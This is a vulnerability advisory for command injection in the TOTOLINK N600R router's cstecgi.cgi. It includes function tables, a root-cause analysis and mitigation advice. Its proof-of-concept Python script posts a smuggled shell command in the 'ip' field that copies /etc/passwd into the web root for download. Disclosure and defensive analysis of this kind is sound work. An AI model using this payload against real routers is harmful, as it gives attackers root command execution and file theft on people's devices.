| Description | A pervasive command injection vulnerability exists in the `cstecgi.cgi` binary of TOTOLINK N600R Wireless N Router firmware V4.3.0cu.7647_B20210106. The main dispatcher function (`main`, 3532 bytes) and **9 dedicated system() wrapper functions** (as small as 80 bytes) take HTTP parameters directly from `websGetVar()` and pass them unsanitized into `system()` shell calls. With **39 functions** in the binary calling `system()` through the GOT — including the `main()` dispatcher that handles all incoming CGI requests — the entire web management interface of the device is vulnerable. An unauthenticated attacker can send crafted HTTP POST requests to achieve remote code execution with root privileges.
---
## Technical Details
### Root Cause
The vulnerable code path follows a direct, minimal chain:
```
HTTP POST → cstecgi.cgi main() → websGetVar("param") → system(unsanitized_input) → RCE
```
All `system()` calls are invoked through the MIPS GOT indirection:
```
GOT system@0x43fd18: lw $t9, -0x7fd8($gp); jalr $t9
```
The `main()` dispatcher (3532 bytes) itself directly calls `system()`, meaning **every HTTP request** reaching `cstecgi.cgi` passes through a vulnerable code path. Additionally, 9 minimal wrapper functions (80–680 bytes) provide the shortest possible injection chains in the entire firmware: `websGetVar() → system()` with no intermediate processing.
### GOT Indirect Call Analysis — Confirmed system() Callers
The following 39 functions were confirmed to call `system()` via GOT indirect resolution:
| Address | Function | Size | Dangerous Calls |
| ------------ | --------------------- | --------- | ------------------------------------------ |
| 0x420cd0 | sub_420cd0 | 5520B | system, snprintf, sprintf, strcpy |
| 0x41e10c | sub_41e10c | 5040B | system, sprintf, strcpy |
| 0x41d20c | sub_41d20c | 3840B | system, sprintf, strcpy |
| **0x422870** | **main (dispatcher)** | **3532B** | **system**, snprintf, sprintf, strcpy |
| 0x41bac4 | sub_41bac4 | 2892B | system, sprintf, strcpy |
| 0x417050 | sub_417050 | 2808B | system, sprintf |
| 0x40ee94 | sub_40ee94 | 2484B | system, sprintf, strcpy |
| 0x426850 | sub_426850 | 2480B | system, sprintf, strcpy |
| 0x415d90 | sub_415d90 | 1868B | system, snprintf, strcpy |
| 0x41b448 | sub_41b448 | 1660B | system, sprintf, strcpy |
| 0x422260 | sub_422260 | 1540B | system, sprintf |
| 0x41a594 | sub_41a594 | 1448B | system, sprintf |
| 0x413bd0 | sub_413bd0 | 1304B | system, sprintf |
| 0x41c610 | sub_41c610 | 1252B | system, sprintf |
| 0x41309c | sub_41309c | 1140B | system, sprintf, strcpy |
| 0x41b040 | sub_41b040 | 1032B | system, snprintf, sprintf |
| 0x40ead4 | sub_40ead4 | 960B | system, snprintf, sprintf |
| 0x41ce68 | sub_41ce68 | 932B | system, sprintf, strcpy |
| 0x428ad0 | cutUploadFile | 920B | system |
| 0x41caf4 | sub_41caf4 | 884B | system, sprintf |
| 0x4186c4 | sub_4186c4 | 680B | **system only** |
| 0x423b6c | getFlashSize | 620B | system, snprintf |
| 0x41ae30 | sub_41ae30 | 528B | system, snprintf, sprintf |
| 0x4159f8 | sub_4159f8 | 504B | system, sprintf |
| 0x4141b8 | sub_4141b8 | 484B | system, sprintf |
| 0x426178 | getPortLinkStaus | 444B | system, sprintf |
| 0x426334 | sub_426334 | 432B | system, sprintf |
| 0x41aca0 | sub_41aca0 | 400B | system, sprintf |
| 0x4135dc | sub_4135dc | 328B | **system only** |
| 0x425c44 | setGpio | 312B | system, sprintf |
| 0x4148cc | sub_4148cc | 264B | **system only** |
| 0x4149d4 | sub_4149d4 | 232B | **system only** |
| 0x4140e8 | sub_4140e8 | 208B | system, sprintf |
| 0x413510 | sub_413510 | 204B | **system only** |
| 0x41399c | sub_41399c | 184B | **system only** |
| 0x414abc | sub_414abc | 164B | **system only** |
| 0x41390c | sub_41390c | 144B | system, snprintf |
| 0x413894 | sub_413894 | 120B | **system only** |
| **0x413844** | **sub_413844** | **80B** | **system only (shortest injection chain)** |
### Nine Minimal system() Wrappers
The shortest injection chains in the firmware:
| Address | Size | Chain |
| -------- | ---- | ------------------------------------ |
| 0x413844 | 80B | websGetVar() → system() |
| 0x413894 | 120B | websGetVar() → system() |
| 0x41390c | 144B | websGetVar() → snprintf() → system() |
| 0x414abc | 164B | websGetVar() → system() |
| 0x41399c | 184B | websGetVar() → system() |
| 0x413510 | 204B | websGetVar() → system() |
| 0x4149d4 | 232B | websGetVar() → system() |
| 0x4148cc | 264B | websGetVar() → system() |
| 0x4135dc | 328B | websGetVar() → system() |
---
## Proof of Concept
```python
#!/usr/bin/env python3
"""PoC: TOTOLINK N600R cstecgi.cgi Main Dispatcher + System Wrappers Command Injection"""
import requests
import sys
TARGET = sys.argv[1] if len(sys.argv) > 1 else "192.168.1.1"
# Example: Inject via the diagnosis configuration endpoint
r = requests.post(f"http://{TARGET}/cgi-bin/cstecgi.cgi",
data={
"topicurl": "setDiagnosisCfg",
"ip": "$(cat /etc/passwd > /www/passwd.txt)",
"num": "1"
},
timeout=5)
```
### Expected Result
The injected command `cat /etc/passwd > /www/passwd.txt` is executed with root privileges, writing the system password file to the web-accessible directory. The attacker can then retrieve the file at `http://TARGET/passwd.txt`.
The `main()` dispatcher ensures this vulnerability is reachable from **any CGI endpoint** — the `topicurl` parameter can target any handler function in the binary.
---
## Impact
Successful exploitation allows an unauthenticated remote attacker to:
- Execute arbitrary system commands with **root privileges**
- Read, write, or exfiltrate any file on the device (configuration files, credentials, certificates)
- Modify firewall, routing, and wireless settings
- Install persistent backdoors or malware
- Pivot to other devices on the internal network
- Cause denial of service
The sheer scale of the attack surface — 39 functions calling `system()`, including the universal `main()` dispatcher — makes this one of the most severe command injection vulnerabilities discovered in this device class.
---
## Solution / Mitigation
### Vendor Recommendations
1. Replace all 39 `system()` call sites with safe, non-shell APIs (`execve()`, `fork()`/`exec()`)
2. Implement input validation and sanitization at the `main()` dispatcher level to protect all downstream handlers
3. Use parameterized command construction — pass user input as arguments rather than interpolating into shell command strings
4. Implement a strict allowlist of allowed characters for each CGI parameter
5. Enable compile-time hardening: `-D_FORTIFY_SOURCE=2`, `-fstack-protector-strong`
### User Mitigations (until patch is available)
- Restrict access to the web management interface via firewall rules
- Disable WAN-side administration
- Place the device behind a gateway that can inspect/filter HTTP traffic to `cstecgi.cgi`
- Monitor for anomalous outbound connections from the router |
|---|